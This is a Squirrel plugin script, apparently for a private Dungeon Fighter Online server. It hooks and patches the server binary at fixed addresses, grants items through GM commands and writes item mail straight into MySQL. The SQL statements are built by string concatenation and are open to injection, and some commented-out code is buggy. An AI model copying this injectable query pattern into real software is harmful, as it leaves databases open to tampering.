//     // SUser.SendNotiPacketMessage("出纳上到几点方柏霓撒娇扩大年级卡萨", 7);
// }

// //定义一个显示的变量
// getroottable().TaskCount <- 0;

// //任务
// function Task() {
//     getroottable().TaskCount++;
//     print("定时任务执行了一次,当前执行次数为:" + getroottable().TaskCount);
// }

// //注册一个定时任务 每五秒执行一次 任务名为 TestCronName
// Timer.SetCronTask(Task, {
//     Cron = "0/5 * * * * *",
//     Name = "TestCronName"
// });


function _Jump_DropItem_check_error_() {
    //如果没有创建过这个模拟内存就创建
    if (!getroottable().rawin("_EmptyCharacInfo_Flag_")) {
        getroottable()._EmptyCharacInfo_Flag_ <- Memory.alloc(17);
        Memory.reset(getroottable()._EmptyCharacInfo_Flag_, 17);
    }
    //如果没有创建过这个跳转Flag就创建并初始化
    if (!getroottable().rawin("_EmptyHook_Flag_")) {
        getroottable()._EmptyHook_Flag_ <- false;
    }
}


function _Dps_UpdateCreatureEnchantMysql_(card_id, charac_no, uuid) {
    local sql = "select card from `taiwan_cain_2nd`.`creature_items_enchant` where ui_id = " + uuid + ";";
    local column_type_list = ["int"];
    local SqlObj = MysqlPool.GetInstance().GetConnect();
    local result = SqlObj.Select(sql, column_type_list);
    local UpdateSql = "update `taiwan_cain_2nd`.`creature_items_enchant` set `card` = " + card_id + " where `ui_id` = " + uuid + ";";
    if (result.len() <= 0 || result[0].len() <= 0) {
        UpdateSql = "INSERT INTO `taiwan_cain_2nd`.`creature_items_enchant`(`ui_id`, `charac_no`, `card`) VALUES (" + uuid + "," + charac_no + "," + card_id + ");";
    }
    SqlObj.Exec_Sql(UpdateSql);
    MysqlPool.GetInstance().PutConnect(SqlObj);
}

function _Dps_GetCreatureEnchantMysql_(charac_no) {
    local sql = "select ui_id,card from `taiwan_cain_2nd`.`creature_items_enchant` where charac_no = " + charac_no + ";";
    local column_type_list = ["int", "int"];
    local SqlObj = MysqlPool.GetInstance().GetConnect();
    local result = SqlObj.Select(sql, column_type_list);
    MysqlPool.GetInstance().PutConnect(SqlObj);
    return result;
}

// MultiBox_Lottery_SetCount <- 0;
// MultiBox_Lottery_SetInfo <- [];
Timer.SetTimeOut(function() {
    // GameManager.OpenHotFix("/dp_s/OfficialConfig");

    // Haker.LoadHook("0x080FE2B6", ["pointer", "pointer"],
    //     function(args) {
    //         // print("args 0 : " + args[0]);
    //         return args;
    //     },
    //     function(args) {
    //         // print(args.pop());
    //         local ItemObj = Item(args.pop());
    //         print(ItemObj.GetIndex());
    //         return null;
    //     });

    // Haker.LoadHook("0x08674968", ["pointer", "int", "int", "int"],
    //     function(args) {
    //         print("args 1 : " + args[1]);
    //         print("args 2 : " + args[2]);
    //         // args[1] = 3;
    //         // args[2] = 109;
    //         return args;
    //     },
    //     function(args) {
    //         print(args.pop());
    //         args.push(1);
    //         return null;
    //     });

    // //获取坐标
    // Gm_InputFunc_Handle["设置宣言"] <- function(SUser, CmdString) {
    //     local count = -1;
    //     local pos = 0;
    //     local handler = [];
    //     do {
    //         local start = pos;
    //         pos = CmdString.find(" ", pos + 1);
    //         if (pos != null) {
    //             handler.append(CmdString.slice(start + 1, pos));
    //         } else
    //             handler.append(CmdString.slice(start + 1));
    //         count = count + 1
    //     } while (pos != null)

    //     //得到空格数量
    //     if (count == 1) {
    //         local T = {
    //             op = 20096009,
    //             cid = SUser.GetCID(),
    //             uid = SUser.GetUID(),
    //             zdygg = handler[1]
    //         }
    //         Socket.SendGateway(T);
    //     }
    // };


    // GameManager.SetGameMaxLevel(85);

    // //私有方法 发送带参数的Post请求
    // local SO = Http("129.211.27.104", "9080");
    // local Res = SO.Post("/dof/chat", Json.Encode({
    //     username = "系统公告",
    //     text = "倾泪寒在格蓝迪发电站爆出了【雷剑-苦轮】!真是人品爆炸!!!",
    //     groupId = 850022626
    // }), "application/json");
    // _Dps_CollectIllustrationsAndTransplantThem_Main_();

    // //初始建表指令
    // local CreateSql = "CREATE TABLE `taiwan_cain_2nd`.`creature_items_enchant` (`ui_id` int(11) NOT NULL DEFAULT '0',`charac_no` int(11) DEFAULT NULL,`card` int(11) NOT NULL DEFAULT '0',PRIMARY KEY (`ui_id`)) ENGINE=InnoDB DEFAULT CHARSET=utf8;";
    // local SqlObj = MysqlPool.GetInstance().GetConnect();
    // SqlObj.Exec_Sql(CreateSql);
    // MysqlPool.GetInstance().PutConnect(SqlObj);
    // print(666);
    // //忽略宠物附魔错误
    // Sq_WriteByteArr(S_Ptr("0x850dede"), array(2, 0x90));

    // Cb_ExpertOnEnchantByBead_Leave_Func["宠物附魔"] <- function(args) {
    //     if (args[5] > 56) {
    //         local SUser = User(args[1]);
    //         local InvenObj = SUser.GetInven();
    //         local Bead_id = InvenObj.GetSlot(1, args[3]).GetIndex()
    //         local PvfItemObj = PvfItem.GetPvfItemById(InvenObj.GetSlot(1, args[3]).GetIndex())
    //         local Card_Id = Sq_CallFunc(S_Ptr("0x0849F530"), "int", ["pointer"], PvfItemObj.C_Object);
    //         local a7 = args[5] - 57;
    //         local ItemObj = InvenObj.GetSlot(3, a7)
    //         local Item_Id = ItemObj.GetIndex();
    //         NativePointer(ItemObj.C_Object).add(13).writeU32(Card_Id);
    //         if (a7< 140) {
    //             local uuid = NativePointer(ItemObj.C_Object).add(7).readInt();
    //             _Dps_UpdateCreatureEnchantMysql_(Card_Id, SUser.GetCID(), uuid);
    //         }
    //         local Pack = Packet();
    //         Pack.Put_Header(1, 275);
    //         Pack.Put_Byte(1);
    //         Pack.Finalize(true);
    //         SUser.Send(Pack);
    //         Pack.Delete();
    //         SUser.SendUpdateItemList(1, 7, a7);
    //         InvenObj.DeleteItemCount(Bead_id, 1);
    //         SUser.SendUpdateItemList(1, 0, args[3]);
    //         return 0;
    //     }
    // }

    // Cb_reach_game_world_Func["宠物附魔"] <- function(SUser) {
    //     local Data = _Dps_GetCreatureEnchantMysql_(SUser.GetCID());
    //     local DMap = {};
    //     foreach(data_obj in Data) {
    //         local uuid = data_obj[0];
    //         local card_id = data_obj[1];
    //         DMap.rawset(uuid, card_id);
    //     }
    //     local InvenObj = SUser.GetInven();
    //     for (local i = 0; i< 141; i++) {
    //         local equ;
    //         if (i == 140) {
    //             equ = InvenObj.GetSlot(0, 22); //获取当前格子的宠物
    //         } else {
    //             equ = InvenObj.GetSlot(3, i);
    //         }
    //         local equ_uuid = NativePointer(equ.C_Object).add(7).readInt();
    //         if (DMap.rawin(equ_uuid)) {
    //             NativePointer(equ.C_Object).add(13).writeU32(DMap[equ_uuid]);
    //             if (i == 140) SUser.SendUpdateItemList(1, 0, 22);
    //             else SUser.SendUpdateItemList(1, 7, i);
    //         }
    //     }
    // }
    // PacketDebugModel <- true;

    // User.SendItemMail(1, 1, [{
    //     item = 3037,
    //     num = 10
    // }], "标题", "内容");



    // Haker.LoadHook("0x085F2CC6", ["pointer", "pointer", "pointer", "int", "int", "int", "pointer", "int"],
    //     function(args) {
    //         foreach(value in args) {
    //             print(value);
    //         }
    //         return null;
    //     },
    //     function(args) {
    //         return null;
    //     });
}, 1)


Gm_InputFunc_Handle["aaa"] <- function(SUser, cmd) {

    local InvenObj = SUser.GetInven();
    // local Equ = InvenObj.GetSlot(Inven.INVENTORY_TYPE_ITEM, 9);

    // local Flag = Sq_CallFunc(S_Ptr("0x081201DC"), "bool", ["pointer"], Equ.C_Object);
    // print(Flag);


    local ptr = Memory.alloc(10240);
    ptr.Output(48);
    Sq_CallFunc(S_Ptr("0x084FB918"), "int", ["pointer", "pointer", "int", "int"], ptr.C_Object, InvenObj.C_Object, 1, 9);
    ptr.Output(48);
    // local TradeSpace = Sq_CallFunc(S_Ptr("0x08120242"), "bool", ["pointer"], SUser.C_Object, Inven.INVENTORY_TYPE_ITEM, 0);
    // print(ptr.);
    return;

    // 获取角色背包
    // local InvenObj = SUser.GetInven();
    // local ItemObj = InvenObj.GetSlot(1, 9);
    // print("Id:" + ItemObj.GetIndex());
    // print("Address:" + ItemObj.C_Object);

    // print(NativePointer(ItemObj.C_Object).add(47).readS8());
    // NativePointer(ItemObj.C_Object).add(48).writeS8(100);
    // NativePointer(ItemObj.C_Object).add(49).writeS8(11);

    // NativePointer(ItemObj.C_Object).add(50).writeS8(16);
    // NativePointer(ItemObj.C_Object).add(51).writeS8(100);
    // NativePointer(ItemObj.C_Object).add(52).writeS8(11);

    // NativePointer(ItemObj.C_Object).add(54).writeS8(16);
    // NativePointer(ItemObj.C_Object).add(55).writeS8(100);
    // NativePointer(ItemObj.C_Object).add(56).writeS8(11);

    // ItemObj.Flush();
    // SUser.SendUpdateItemList(1, 0, 9);
    // ItemObj.Output();

    // local OldData = blob(0);
    // foreach (value in ItemObj.Attribute) {
    //     OldData.writen(value,'b');
    //     // OldData.seek(1,'c');
    // }

    // ItemObj.Attribute.seek(37);
    // local Address = ItemObj.Attribute.readn('i');
    // print(Address);
    // local Count = Sq_CallFunc(S_Ptr("0x08514E6E"), "int", ["pointer"], ItemObj.C_Object);
    // print("魔法封印装备的数量: " + Count);
    // local SendInfo = SUser.GiveItem(2243114, 1);

    // local NewItemObj = InvenObj.GetSlot(1, SendInfo[1]);
    // if(NewItemObj){
    //     NewItemObj.Attribute = OldData;
    //     NewItemObj.Flush();
    //     NewItemObj.Output();
    //     SUser.SendUpdateItemList(1,0, SendInfo[1]);
    // }

    // SUser.SendItemSpace(0);
    //先执行背包固化 把最新数据存到数据库
    Sq_CallFunc(S_Ptr("0x0864FE52"), "int", ["pointer"], SUser.C_Object);
    // Sq_CallFunc(S_Ptr("0x086501C8"), "int", ["pointer"], SUser.C_Object);

    Timer.SetTimeOut(function() {
        local SqlObj = MysqlPool.GetInstance().GetConnect();
        local Ret = SqlObj.Select("SELECT inventory FROM taiwan_cain_2nd.inventory WHERE charac_no = 1;", ["binary"]);
        //把连接还池子
        MysqlPool.GetInstance().PutConnect(SqlObj);
        if (Ret.len()< 1 || Ret[0][0] == null) {
            return false;
        } else {
            local LengthPointer = Memory.alloc(4);
            LengthPointer.writeInt(18238);

            local ReadPointer = Memory.alloc(18238);

            local Flag = Sq_CallFunc(S_Ptr("0x086B2102"), "bool", ["pointer", "pointer", "pointer", "int"], ReadPointer.C_Object, LengthPointer.C_Object, Ret[0][0].C_Object, Ret[0][0].Size);

            //读取第一格装备
            local Slot = 0;
            local RealP = ReadPointer.add(2 + (9 + Slot) * 61);

            //打印数据
            RealP.Output(61);

            //装备编号
            local ItemId = RealP.readInt();
            print("装备编号: " + ItemId);

            //强化等级
            local EnhancementLevel = RealP.add(4).readS8();
            print("强化等级: " + EnhancementLevel);

            //红字类型
            local AmplifyType = RealP.add(15).readS8();
            print("红字类型: " + AmplifyType);

            //红字属性值
            local AmplifyValue = RealP.add(16).readS8();
            print("红字属性值: " + AmplifyValue);

            //锻造等级
            local ForgingGrade = RealP.add(49).readS8();
            print("锻造等级: " + ForgingGrade);

            //附魔卡片
            local CardId = RealP.add(11).readShort();
            print("附魔卡片: " + CardId);

            //品级
            local Grade = RealP.add(5).readInt();
            print("品级: " + Grade);

            //耐久度
            local Durability = RealP.add(9).readS8();
            print("耐久度: " + Durability)

            //魔法封印
            local MagicSealP = "0x";
            for (local i = 0; i< 14; i++) {
                MagicSealP += format("%02x", RealP.add(35 + i).readS8());
            }
            print(MagicSealP);

            local SendT = {
                ItemId = ItemId,
                Grade = Grade,
                Durability = Durability,
                EnhancementLevel = EnhancementLevel,
                AmplifyType = AmplifyType,
                AmplifyValue = AmplifyValue,
                MagicSealP = MagicSealP,
                CardId = CardId,
            }
            SendItemExMail(1, 1, [SendT], "GM", "GM");
        }
    }, 1)
}

function SendItemExMail(UID, CID, ItemList, title, content) {
    local SUser = World.GetUserByUid(UID);
    local sql = "select letter_id from taiwan_cain_2nd.postal order by letter_id DESC";
    local column_type_list = ["int"];

    local SqlObj = MysqlPool.GetInstance().GetConnect();
    local result = SqlObj.Select(sql, column_type_list);
    local sl = 1;
    if (result.len() > 0) {
        sl = result[0][0] + 1;
    }

    local time = date();
    local timeStr = time["year"] + "-" + (time["month"] + 1) + "-" + time["day"] + " " + time["hour"] + ":" + time["min"] + ":" + time["sec"];

    foreach(value in ItemList) {
        //时间  发送者名字   接收者id  装备ID 品级 耐久度 强化等级 红字类型 红字属性值 魔法封印属性 letterid
        local sql1 = format("insert into taiwan_cain_2nd.postal (occ_time,send_charac_name,receive_charac_no,item_id,add_info,endurance,upgrade,amplify_option,amplify_value,random_option,letter_id,extend_info) values ('%s','%s',%d,%d,%d,%d,%d,%d,%d,%s,%d,%d)", timeStr, title, CID, value.ItemId, value.Grade, value.Durability, value.EnhancementLevel, value.AmplifyType, value.AmplifyValue, value.MagicSealP, sl, value.CardId)
        SqlObj.Select(sql1, []);
    }

    local sql2 = "insert into taiwan_cain_2nd.letter (letter_id,charac_no,send_charac_name,letter_text,reg_date,stat) values ('" + sl + "'," + CID + ",'" + title + "','" + content + "','" + timeStr + "','1')";
    SqlObj.Select(sql2, []);

    MysqlPool.GetInstance().PutConnect(SqlObj);

    if (SUser) {
        local Pack = Packet();
        Pack.Put_Header(0, 9);
        local MailBox = Sq_CallFunc(S_Ptr("0x0823020C"), "int", ["pointer"], SUser.C_Object);
        Sq_CallFunc(S_Ptr("0x0823455A"), "int", ["int"], MailBox);
        local Not_Count = Sq_CallFunc(S_Ptr("0x084ED330"), "int", ["int"], MailBox);
        Pack.Put_Short(Not_Count);
        Pack.Finalize(true);
        SUser.Send(Pack);
        Pack.Delete();
    }
}




Gm_InputFunc_Handle["bbb"] <- function(SUser, cmd) {
    // print(124124);
    // Sq_CUser_RechargeCoupons(SUser.C_Object, 909999);
    // Sq_CallFunc(S_Ptr("0x0817A1B4"), "int", ["pointer","int"], SUser.C_Object,100000);
    SUser.GiveItem(2220112, 1);
}



Register_DPS_Pack(1, function(SUser, Pack) {
    printT(Pack);
    SUser.Send_DPS_Pack(1, {
        ttt = 1,
    })
});



// //收到查询我的战绩包   查询我的战绩  注意这个包不止我请求的时候要发  一局游戏结束了以后 你要主动刷这个包
// ClientSocketPackFuncMap.rawset(20092097, function(SUser, Jso) {
//     local evv = {
//         op = 20092098,
//         WinCount = 1, //胜利场次
//         Ranking = 2, //排名
//         OnlineRanking = 56, //跨服排名
//         TicketCount = 3, //入场卷数量
//     }
//     SUser.SendJso(evv);
// });

// //收到开始匹配包   服务端进入匹配状态  告诉客户端开始匹配了
// ClientSocketPackFuncMap.rawset(20092001, function(SUser, Jso) {
//     local evv = {
//         op = 20092002,
//     }
//     SUser.SendJso(evv);

//     //这里添加的是定时任务 两秒后默认开局 在你那边你应该是正常匹配  然后开局了给客户端发消息
//     Timer.SetTimeOut(function() {
//         //角色类  名字  职业  穿戴装备
//         local Charac = {
//             Name = "测试角色",
//             Job = 8,
//             Equ = [26373, 107550220, 107560223, 107570188, 107520224, 107500233, 107510231, 107540209, 107580129, 107530192],
//             CardList = [0, 1, 2, 3, 1]
//         }

//         //这里发送角色类List  0号位是自己 然后顺时针坐玩家 发送主牌ID
//         local evv = {
//             op = 20092006,
//             CharacList = [Charac, Charac, Charac, Charac],
//             MainCard = 2
//         }

//         SUser.SendJso(evv);
//     }, 500);
// });
// //收到取消匹配包   服务端进入匹配状态  告诉客户端取消匹配了
// ClientSocketPackFuncMap.rawset(20092003, function(SUser, Jso) {
//     local evv = {
//         op = 20092004,
//     }
//     SUser.SendJso(evv);
// });
// //收到出牌包
// ClientSocketPackFuncMap.rawset(20092007, function(SUser, Jso) {
//     //这里CardList 是玩家打出了它手上的第几张牌 而不是牌的ID List
//     local CardList = Jso.CardList;
//     //..... 这里需要对牌做校验 是不是相同的牌 或者万能牌
//     //如果校验通过了 发送出牌回调包给客户端告诉他出牌成功  这里要告诉所有的牌桌上的玩家 如果是出牌人则发0 CharacId  其他人 要发他们那里对应的ID
//     local evv = {
//         op = 20092008,
//         CharacId = 1,
//         CardList = CardList
//     };
//     SUser.SendJso(evv);
// });

// //主动下发 回合信息包 20092010  要告诉客户端的玩家 现在是谁的回合 回合剩余时间多少秒 注意每个客户端的玩家你要发送不同的位置信息给他的
// local evv = {
//     //谁的回合
//     RoundCharac = 0;
//     //剩余多少时间  (这个应该是在你的配置里)
//     RoundTime = 30;
// };

// //主动下发 质疑包  20092012  要告诉客户端的玩家 谁要质疑  注意每个客户端的玩家你要发送不同的位置信息给他的 质疑翻牌信息
// local evv = {
//     //质疑玩家
//     QuestionCharac = 0;
//     //质疑牌List  (注意这里发的不是牌的位置了 是牌对应的ID 一开始分配的那个)
//     QuestionCardList = [0, 1, 2, 3, 1];
// };

// //主动下发 刷新玩家信息包  20092014  要告诉客户端的玩家 谁还剩多少血  0就是没血了 -1就是这个地方是没有玩家的  1就是还剩1滴血
// local evv = {
//     Charac = [0, -1, 1, -1]
// };

// //主动下发 结算包  20092018 一局游戏结束了 发包给我
// local evv = {
//     //0 是你输了 1是你赢了
//     Win = 0
// };

// //主动下发 牌桌显示公告  20092016 这个公告文字我会显示在牌桌上的 是你一些重要信息 比如谁打出了什么牌 质疑什么的之类的
// local evv = {
//     //消息
//     Msg = "公告消息"
// };

// //收到聊天信息包
// ClientSocketPackFuncMap.rawset(20092099, function(SUser, Jso) {
//     //这里是左下角聊天框打字发送上来的信息
//     local MsgBuffer = Jso.Msg;
//     //转发给所有玩家 包括他自己
//     local evv = {
//         op = 20092100,
//         Msg = MsgBuffer,
//     };
//     SUser.SendJso(evv);
// });










// /*
// 文件名:收集图鉴_移植.nut
// 路径:OfficialProject/收集图鉴_移植/收集图鉴_移植.nut
// 创建日期:2025-05-05	05:22
// 文件用途:
// */

// function collect_check(id) {
//     local CheckSql = "select id from `collect`.`s_item` where id = " + id + ";";
//     //从池子拿连接
//     local SqlObj = MysqlPool.GetInstance().GetConnect();
//     local Ret = SqlObj.Select(CheckSql, ["int"]);
//     //把连接还池子
//     MysqlPool.GetInstance().PutConnect(SqlObj);
//     if (Ret.len()< 1 || Ret[0][0] == null) {
//         return false;
//     } else {
//         return Ret[0][0];
//     }
// }

// function collect_check_has(uid, item) {
//     local CheckSql = "select num from `collect`.`g_user_item` where uid = " + uid + " and item = " + item + ";";
//     //从池子拿连接
//     local SqlObj = MysqlPool.GetInstance().GetConnect();
//     local Ret = SqlObj.Select(CheckSql, ["int"]);
//     //把连接还池子
//     MysqlPool.GetInstance().PutConnect(SqlObj);
//     if (Ret.len()< 1 || Ret[0][0] == null) {
//         return false;
//     } else {
//         return Ret[0][0];
//     }
// }

// function collect_update(uid, item, type, num) {
//     local CheckSql = "select id,num from `collect`.`g_user_item` where uid = " + uid + " and item = " + item + ";";
//     //从池子拿连接
//     local SqlObj = MysqlPool.GetInstance().GetConnect();
//     local Ret = SqlObj.Select(CheckSql, ["int", "int"]);
//     if (Ret.len()< 1 || Ret[0][0] == null) {
//         local InsertSql = "INSERT INTO `collect`.`g_user_item`(`uid`,`item`,`type`,`num`) VALUES(" + uid + "," + item + "," + type + "," + num + ");";
//         SqlObj.Exec_Sql(InsertSql);
//     } else {
//         local id = Ret[0][0];
//         local newnum = Ret[0][1] + num;
//         local UpdateSql = "update `collect`.`g_user_item` set num = " + newnum + " where id = " + id + ";";
//         SqlObj.Exec_Sql(UpdateSql);
//     }
//     //把连接还池子
//     MysqlPool.GetInstance().PutConnect(SqlObj);
// }

// function collect_equ(SUser, Slot) { //将装备收录进图鉴user slot
//     local InvenObj = SUser.GetInven();
//     local EquObj = InvenObj.GetSlot(1, Slot);
//     local EquId = EquObj.GetIndex();
//     local Msg = "";
//     if (collect_check(equ_id)) { //是否支持收录
//         local mid = SUser.GetUID();
//         if (collect_check_has(mid, equ_id)) { //是否已收录
//             msg = "已收录过该装备。";
//         } else {
//             local ItemName = PvfItem.GetNameById(EquId);
//             Sq_CallFunc(S_Ptr("0x080CB7D8"), "int", ["pointer"], EquObj.C_Object);
//             SUser.SendUpdateItemList(1, 0, Slot);
//             collect_update(mid, equ_id, 1, 1); //更新图鉴
//             msg = "装备[" + equ_name + "]已成功收录至图鉴。";
//         }
//     } else {
//         msg = "该装备不支持图鉴收录。";
//     }
//     SUser.SendNotiPacketMessage(msg, 0);
// }

// if (!getroottable().rawin("collcet_monster_cache")) collcet_monster_cache <- {};

// function _Dps_CollectIllustrationsAndTransplantThem_Main_() {

//     Cb_CParty_DungeonStart_Enter_Func["收集图鉴移植"] <- function(args) {
//         local PartyObj = Party(args[0]);
//         PartyObj.ForeachMember(function(SUser, Index) {
//             local mid = SUser.GetUID();
//             collcet_monster_cache[mid] <- {};
//         });
//     }

//     Cb_CParty_OnKillMonster_Enter_Func["收集图鉴移植"] <- function(args) {
//         local SUser = User(args[1]);
//         local MonsterId = args[2];
//         local Config = GlobalConfig.Get("收集图鉴移植_Lenheart.json");
//         if (Config.rawin(MonsterId.tostring())) {
//             local MonsterName = Config[MonsterId.tostring()];
//             local mid = SUser.GetUID();
//             if (collcet_monster_cache.rawin(mid)) {
//                 collcet_monster_cache[mid][MonsterId] <- 1;
//                 SUser.SendNotiPacketMessage("获得[" + MonsterName + "]。碎片1个。", 0);
//             }
//         }
//     }

//     Cb_CParty_SetPlayResult_Enter_Func["收集图鉴移植"] <- function(args) {
//         local PartyObj = Party(args[0]);
//         PartyObj.ForeachMember(function(SUser, Index) {
//             local mid = SUser.GetUID();
//             if (collcet_monster_cache.rawin(mid)) {
//                 foreach(key, value in collcet_monster_cache[mid]) {
//                     collect_update(mid, key, 2, value);
//                 }
//             }
//         });
//     }

//     // 跳过指定道具ID原逻辑1
//     Cb_UseLimitCube_Check_Error_Leave_Func["收集图鉴移植"] <- function(args) {
//         local ItemObj = Item(args[5]);
//         local ItemId = ItemObj.GetIndex();
//         if (ItemId == 690000274) {
//             return 17;
//         }
//     }

//     Cb_UseLimitCube_Process_Leave_Func["收集图鉴移植"] <- function(args) {
//         local SUser = User(args[1]);
//         local msg_base = args[2];
//         if (msg_base) {
//             local slot = NativePointer(msg_base).add(13).readShort();
//             local boxslot = NativePointer(msg_base).add(19).readShort();
//             local InvenObj = SUser.GetInven();
//             local boxobj = InvenObj.GetSlot(Inven.INVENTORY_TYPE_ITEM, boxslot);
//             local box_index = boxobj.GetIndex();
//             local ItemObj = InvenObj.GetSlot(Inven.INVENTORY_TYPE_ITEM, slot);
//             local Item_Id = ItemObj.GetIndex();
//             if (!ItemObj) return;
//             if (box_index == 690000274) {
//                 local msg = "";
//                 if (collect_check(Item_Id)) {
//                     local mid = SUser.GetUID();
//                     if (collect_check_has(mid, Item_Id)) {
//                         msg = "已收录过该装备。";
//                     } else {
//                         local ItemName = PvfItem.GetNameById(Item_Id);
//                         Sq_CallFunc(S_Ptr("0x080CB7D8"), "int", ["pointer"], ItemObj.C_Object);
//                         collect_update(mid, Item_Id, 1, 1); //更新图鉴
//                         SUser.SendUpdateItemList(Inven.INVENTORY_TYPE_ITEM, 0, slot);
//                         msg = "装备[" + ItemName + "]已成功收录至图鉴。";
//                     }
//                 }else msg = "该装备不支持图鉴收录。";
//                 SUser.SendNotiPacketMessage(msg, 0);
//             }
//         }
//     }
// }